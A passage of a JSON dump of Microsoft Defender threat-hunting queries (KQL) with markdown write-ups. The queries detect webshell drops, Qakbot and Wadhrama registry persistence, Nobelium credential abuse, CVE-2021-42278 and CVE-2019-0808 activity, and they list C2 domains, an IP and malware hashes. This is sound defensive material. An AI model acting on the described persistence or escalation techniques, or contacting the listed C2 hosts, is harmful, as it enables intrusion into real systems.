memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](./CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Blake Strom\n**GitHub alias:** @bstrom\n**Organization:** Microsoft 365 Defender\n**Contact info:** blstrom@microsoft.com\n"
  },
  {
    "path": "Persistence/Possible webshell drop.md",
    "content": "# Possible Webshell Drop\nThis query looks for files created by IIS or Apache matching common web page content extensions which\ncan be used to execute arbitrary code. \n\nThe query uses a throtlling mechanism in an attempt to avoid false positive detections for WebDAV or \nother web-based content management which might run under the context of the webserver process. Consider\nincreasing the value of MaxFileOperations based on your false positive detection tolerance, or set it \nto -1 to disable this feature.\n\nAdditional extensions of interest are listed after ExtensionList. Again, consider including \\ excluding\nthese extensions based on your organization's use and tolerance of potential false positive detections.\n## Query\n```\nlet MaxFileOperations = 3; // This will attempt to hide WebDAV publish operations by looking for file operations less than 'x' in a 5 minute period\nlet MaxAge = ago(7d); // This is how far back the query will search\nlet ExtensionList = pack_array('asp','aspx','aar','ascx','ashx','asmx','c','cfm','cgi','jsp','jspx','php','pl');//,'exe','dll','js','jar','py','ps1','psm1','cmd','psd1','java','wsf','vbs') Commented ones may cause false positive detection - add at will\nlet IncludeTemp = false; // whether to include files that contain \\temp\\ in their path\nlet PossibleShells = DeviceFileEvents \n| where Timestamp  > MaxAge \n    and InitiatingProcessFileName in~('w3wp.exe','httpd.exe') \n    and (IncludeTemp or FolderPath  !contains @'\\temp\\')\n    and ActionType in ('FileCreated', 'FileRenamed', 'FileModified')\n| extend extension = tolower(tostring(split(FileName,'.')[-1]))\n    , TimeBin = bin(Timestamp, 5m)\n| where extension in (ExtensionList);\nPossibleShells\n| summarize count() by DeviceId, TimeBin\n| where MaxFileOperations == -1 or count_ < MaxFileOperations\n| join kind=rightsemi PossibleShells on DeviceId, TimeBin\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution | v |  |\n| Persistence | v |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n**Contributor:** Michael Melone\n**GitHub alias:** mjmelone\n**Organization:** Microsoft\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Persistence/detect-prifou-pua.md",
    "content": "# Detect potentially unwanted activity from ironSource bundlers\n\nThis query was originally published in the threat analytics report, *ironSource PUA & unwanted apps impact millions*.\n\nIronSource provides software bundling tools for many popular legitimate apps, such as FileZilla. However, some of ironSource's bundling tools are considered PUA, because they exhibit potentially unwanted behavior. One component of these tools, detected by Microsoft as *Prifou*, silently transmits system information from the user. It also installs an outdated version of Chromium browser with various browser extensions, resets the user's home page, changes their search engine settings, and forces Chromium and itself to launch at startup.\n\nThe following query can be used to locate unique command-line strings used by ironSource bundlers to launch Prifou, as well as commands used by Prifou to install Chromium.\n\n## Query\n\n```Kusto\nunion DeviceFileEvents, DeviceProcessEvents \n| where Timestamp > ago(7d)\n// Prifou launched by ironSource bundler\n| where ProcessCommandLine has \"/mhp \" and ProcessCommandLine has \"/mnt \" \nand ProcessCommandLine has \"/mds \"\n// InstallCore launch commands\nor (ProcessCommandLine has \"/mnl\" and ProcessCommandLine has \"rsf\")\n// Chromium installation\nor ProcessCommandLine has \"bundlename=chromium\"\nor FileName == \"prefjsonfn.txt\"\n| project SHA1, ProcessCommandLine, FileName, InitiatingProcessFileName,\nInitiatingProcessCommandLine, InitiatingProcessSHA1\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Persistence/localAdminAccountLogon.txt",
    "content": "//This query looks for local admin account used to logon into the computer\n//this can help to detect malicious insiders that were able to add a local account to the local admin group offline\nDeviceLogonEvents\n| where IsLocalAdmin == 1\n and AccountDomain == DeviceName\n"
  },
  {
    "path": "Persistence/qakbot-campaign-registry-edit.md",
    "content": "# Registry edits by campaigns using Qakbot malware\n\nThis query was originally published in the threat analytics report, *Qakbot blight lingers, seeds ransomware*\n\n[Qakbot](https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/) is malware that steals login credentials from banking and financial services. It has been deployed against small businesses as well as major corporations. Some outbreaks have involved targeted ransomware campaigns that use a similar set of techniques. Links to related queries are listed under [See also](#See-also).\n\nThe following query detects registry entries that may indicate that an operator is trying to establish persistence for the Qakbot binary.\n\n## Query\n\n```Kusto\nDeviceRegistryEvents\n| where ActionType == \"RegistryValueSet\"\n| where InitiatingProcessFileName == \"explorer.exe\"\n| where RegistryValueData has @\"AppData\\Roaming\\Microsoft\" and\nRegistryValueData has \"$windowsupdate\"\n| where RegistryKey has @\"CurrentVersion\\Run\"\n| project RegistryKey, RegistryValueData, DeviceId, Timestamp\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Self-deletion by Qakbot malware](..\\Defense&#32;evasion\\qakbot-campaign-self-deletion.md)\n* [Process injection by Qakbot malware](..\\Defense&#32;evasion\\qakbot-campaign-process-injection.md)\n* [Browser cookie theft by campaigns using Qakbot malware](..\\Discovery\\qakbot-campaign-esentutl.md)\n* [Outlook email access by campaigns using Qakbot malware](..\\Discovery\\qakbot-campaign-outlook.md)\n* [Javascript use by Qakbot malware](..\\Execution\\qakbot-campaign-suspicious-javascript.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Persistence/scheduled task creation.txt",
    "content": "//Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_susp_schtask_creation.yml\n//Questions via Twitter: @janvonkirchheim \nDeviceEvents \n| where ActionType == \"ScheduledTaskCreated\"\n  and InitiatingProcessAccountSid != \"S-1-5-18\"\n"
  },
  {
    "path": "Persistence/wadhrama-ransomware.md",
    "content": "# Find RDP persistance attempts related to Wadhrama ransomware\n\nThis query was originally published in the threat analytics report, *RDP ransomware persists as Wadhrama*.\n\nThe ransomware known as [Wadhrama](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Wadhrama) has been used in human-operated attacks that follow a particular pattern. The attackers often use Remote Desktop Protocol (RDP) to gain initial access to a device or network, exfiltrate credentials, and maintain persistance.\n\nThe following query checks for possible Wadhrama-related activity, by searching for attempts to establish RDP persistance via the registry.\n\nOther techniques used by the group associated with Wadhrama are listed under [See also](#see-also).\n\n## Query\n\n```Kusto\n// Find attempts to establish RDP persistence via the registry\nlet Allow = DeviceProcessEvents\n| where Timestamp > ago(7d)\n| where FileName == \"reg.exe\"\n| where ProcessCommandLine has \"AllowTSConnections\"\n| extend AllowReport = Timestamp ;\n//\nlet Deny = DeviceProcessEvents \n| where Timestamp > ago(7d)\n| where FileName == \"reg.exe\"\n| where ProcessCommandLine has \"fDenyTSConnections\"\n| extend DenyReport = Timestamp;\n// \nlet Special = DeviceProcessEvents  \n| where Timestamp > ago(7d)\n| where FileName == \"reg.exe\"\n| where ProcessCommandLine has \"SpecialAccounts\"\n| extend SpecialReport = Timestamp;\n//\nSpecial | join kind=inner (Deny | join kind=inner Allow on DeviceId) on DeviceId \n| where AllowReport < Timestamp +10s and AllowReport > Timestamp -10s\n| where DenyReport < Timestamp +10s and DenyReport > Timestamp -10s\n| where SpecialReport < Timestamp +10s and SpecialReport > Timestamp -10s\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Find data destruction related to Wadhrama ransomware](../Impact/wadhrama-data-destruction.md)\n* [Image File Execution Options and .bat file usage in association with Wadhrama ransomware](../Credential%20Access/wadhrama-credential-dump.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Privilege escalation/Add uncommon credential type to application [Nobelium].md",
    "content": "# Add uncommon credential type to application [Nobelium]\n\nThe query looks for users or service principals that attached an uncommon credential type to application.\n\nAs part of the Nobelium campaign, the attacker added credentials to already existing applications and used the application permissions to extract users' mails.\n\nSee [*How to: Use the portal to create an Azure AD application and service principal that can access resources*](https://docs.microsoft.com/en-us/azure/active-directory/develop/howto-create-service-principal-portal).\n\n## Query\n\n```Kusto\nCloudAppEvents\n| where Application == \"Office 365\"\n| where ActionType in (\"Add service principal credentials.\", \"Update application – Certificates and secrets management \")\n| project Timestamp, RawEventData, AccountDisplayName, ActionType, AccountObjectId\n| extend ModifiedProperties = RawEventData.ModifiedProperties[0]\n| extend NewValue = ModifiedProperties.NewValue, OldValue = ModifiedProperties.OldValue, Name = ModifiedProperties.Name\n| project Timestamp, AccountDisplayName, ActionType, NewValue, OldValue, RawEventData, AccountObjectId\n| where (NewValue has \"KeyType=Password\" and OldValue !has \"KeyType=Password\" and OldValue has \"AsymmetricX509Cert\") or (NewValue has \"AsymmetricX509Cert\" and OldValue !has \"AsymmetricX509Cert\" and OldValue has \"KeyType=Password\")\n| extend NewSecret = set_difference(todynamic(parse_json(tostring(NewValue))), todynamic(parse_json(tostring(OldValue))))\n| project Timestamp,ActionType,ActorType = RawEventData.Actor[-1].ID, ObjectId = RawEventData.Actor[-2].ID, AccountDisplayName, AccountObjectId, AppnName = RawEventData.Target[3].ID, AppObjectId = RawEventData.Target[1].ID, NewSecret = NewSecret[0], RawEventData\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | V |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](./ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Dor Edry\n**GitHub alias:** doredry\n**Organization:** Microsoft 365 Defender\n**Contact info:** dor.edry@microsoft.com\n"
  },
  {
    "path": "Privilege escalation/SAM-Name-Changes-CVE-2021-42278.md",
    "content": "# Active Directory Domain Services Elevation of Privilege Vulnerability, CVE-2021-42278\n\nThe following query detects possible CVE-2021-42278 exploitation by finding changes of device names in the network using Microsoft Defender for Identity\n## Query\n\n```Kusto\nIdentityDirectoryEvents\n| where Timestamp > ago(1d)\n| where ActionType == \"SAM Account Name changed\"\n| extend FROMSAM = parse_json(AdditionalFields)['FROM SAM Account Name']\n| extend TOSAM = parse_json(AdditionalFields)['TO SAM Account Name']\n| where (FROMSAM has \"$\" and TOSAM !has \"$\") \n        or TOSAM in (\"DC1\", \"DC2\", \"DC3\", \"DC4\") // DC Names in the org\n| project Timestamp, Application, ActionType, TargetDeviceName, FROMSAM, TOSAM, ReportId, AdditionalFields\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Active Directory Domain Services Elevation of Privilege Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278)\n\n## Contributor info\n\n**Contributor:** Microsoft Defender for Identity team\n"
  },
  {
    "path": "Privilege escalation/ServicePrincipalAddedToRole [Nobelium].md",
    "content": "# ServicePrincipalAddedToRole [Nobelium]\n\nOne of the indicators of compromise for the Nobelium (formerly Solorigate) campaign was that unexpected service principals have been added to privileged roles. This query looks for service principals that have been added to any role.\n\nSee [*Understanding \"Solorigate\"'s Identity IOCs - for Identity Vendors and their customers.*](https://techcommunity.microsoft.com/t5/azure-active-directory-identity/understanding-quot-solorigate-quot-s-identity-iocs-for-identity/ba-p/2007610).\n\n## Query\n\n```kusto\nlet queryTime = 1d;\nCloudAppEvents\n| where Timestamp > ago(queryTime)\n| where Application == \"Office 365\"\n| where ActionType == \"Add member to role.\"\n| extend EntityType = RawEventData.Target[2].ID, RoleName = RawEventData.ModifiedProperties[1].NewValue, RoleId = RawEventData.ModifiedProperties[2].NewValue\n| where EntityType == \"ServicePrincipal\"\n| project Timestamp , ActionType, ServicePrincipalName = RawEventData.Target[3].ID, ServicePrincipalId = RawEventData.Target[1].ID, RoleName, RoleId, ActorId = AccountObjectId , ActorDisplayName = AccountDisplayName \n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | V |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](./Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Dor Edry\n**GitHub alias:** doredry\n**Organization:** Microsoft 365 Defender\n**Contact info:** dor.edry@microsoft.com\n"
  },
  {
    "path": "Privilege escalation/cve-2019-0808-c2.md",
    "content": "# Command and control associated with privilege escalation vulnerability, CVE-2019-0808\n\nThis query was originally published in the threat analytics report, *Windows 7 zero-day for CVE-2019-0808*\n\n[CVE-2019-0808](https://nvd.nist.gov/vuln/detail/CVE-2019-0808) is a vulnerability that allows an attacker to escape the Windows security sandbox and run arbitrary code with admin privileges. This vulnerability affects Windows 7, Windows Server 2008, and Windows Server 2008 R2.\n\nExploits for CVE-2019-0808 were first observed as part of highly selective attacks using the *[Nufsys](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/Nufsys.A&threatId=-2147233438)* backdoor. Although the Nufsys-associated exploit was first described as a zero-day, the issue has since been [patched](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0808).\n\nThe following query detects possible CVE-2019-0808 exploitation by reporting network communication associated with the Nufsys attacks.\n\n## Query\n\n```Kusto\n//Network Communication to C&C \nDeviceNetworkEvents \n| where Timestamp > ago(14d) \n| where RemoteUrl  in(\"luckluck.blog\", \"fffun-video.biz\") //Dest Address DNS \nor RemoteIP  == \"63.141.233.82\" //Destination Address \n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Backdoor associated with privilege escalation vulnerability, CVE-2019-0808](cve-2019-0808-nufsys-file-creation.md)\n* [Task creation associated with privilege escalation vulnerability, CVE-2019-0808](cve-2019-0808-set-scheduled-task.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Privilege escalation/cve-2019-0808-nufsys-file creation.md",
    "content": "# Backdoor associated with privilege escalation vulnerability, CVE-2019-0808\n\nThis query was originally published in the threat analytics report, *Windows 7 zero-day for CVE-2019-0808*\n\n[CVE-2019-0808](https://nvd.nist.gov/vuln/detail/CVE-2019-0808) is a vulnerability that allows an attacker to escape the Windows security sandbox and run arbitrary code with admin privileges. This vulnerability affects Windows 7, Windows Server 2008, and Windows Server 2008 R2.\n\nExploits for CVE-2019-0808 were first observed as part of highly selective attacks using the *[Nufsys](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/Nufsys.A&threatId=-2147233438)* backdoor. Although the Nufsys-associated exploit was first described as a zero-day, the issue has since been [patched](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0808).\n\nThe following query detects possible CVE-2019-0808 exploitation by finding suspicious file creation events associated with Nufsys.\n\n## Query\n\n```Kusto\n//File creation \nDeviceFileEvents \n| where Timestamp > ago(14d) \n| where FolderPath  contains \"temp\" and  FileName in~(\"updata.exe\", \n\"recovery_db.exe\", \"spsextserver.exe\", \"recoverydb.exe\") \nor SHA1 in(\"987cf95281a3f6449681148ea05e44115f74ccbc\", \n\"6f465b791ab8ef289f20c412808af7ae331c87ab\", \n\"d5c6c037735c4518fffcdac1026770d8d251c7c8\") //File SHAs of above processes\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence | v |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n\n## See also\n\n* [Command and control associated with privilege escalation vulnerability, CVE-2019-0808](cve-2019-0808-c2.md)\n* [Task creation associated with privilege escalation vulnerability, CVE-2019-0808](cve-2019-0808-set-scheduled-task.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Privilege escalation/cve-2019-0808-set-scheduled-task.md",
    "content": "# Task creation associated with privilege escalation vulnerability, CVE-2019-0808\n\nThis query was originally published in the threat analytics report, *Windows 7 zero-day for CVE-2019-0808*\n\n[CVE-2019-0808](https://nvd.nist.gov/vuln/detail/CVE-2019-0808) is a vulnerability that allows an attacker to escape the Windows security sandbox and run arbitrary code with admin privileges. This vulnerability affects Windows 7, Windows Server 2008, and Windows Server 2008 R2.\n\nExploits for CVE-2019-0808 were first observed as part of highly selective attacks using the *[Nufsys](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/Nufsys.A&threatId=-2147233438)* backdoor. Although the Nufsys-associated exploit was first described as a zero-day, the issue has since been [patched](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0808).\n\nThe following query detects possible CVE-2019-0808 exploitation by reporting scheduled task creation events associated with the Nufsys attacks.\n\n## Query\n\n```Kusto\n//Scheduled task creation \nDeviceProcessEvents \n| where Timestamp  > ago(14d) \n| where FileName =~ \"schtasks.exe\"  \n| where ProcessCommandLine  contains \"highest\" and \n(ProcessCommandLine contains \"ecosetup\" or \nProcessCommandLine contains \"spsextserv.exe\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence 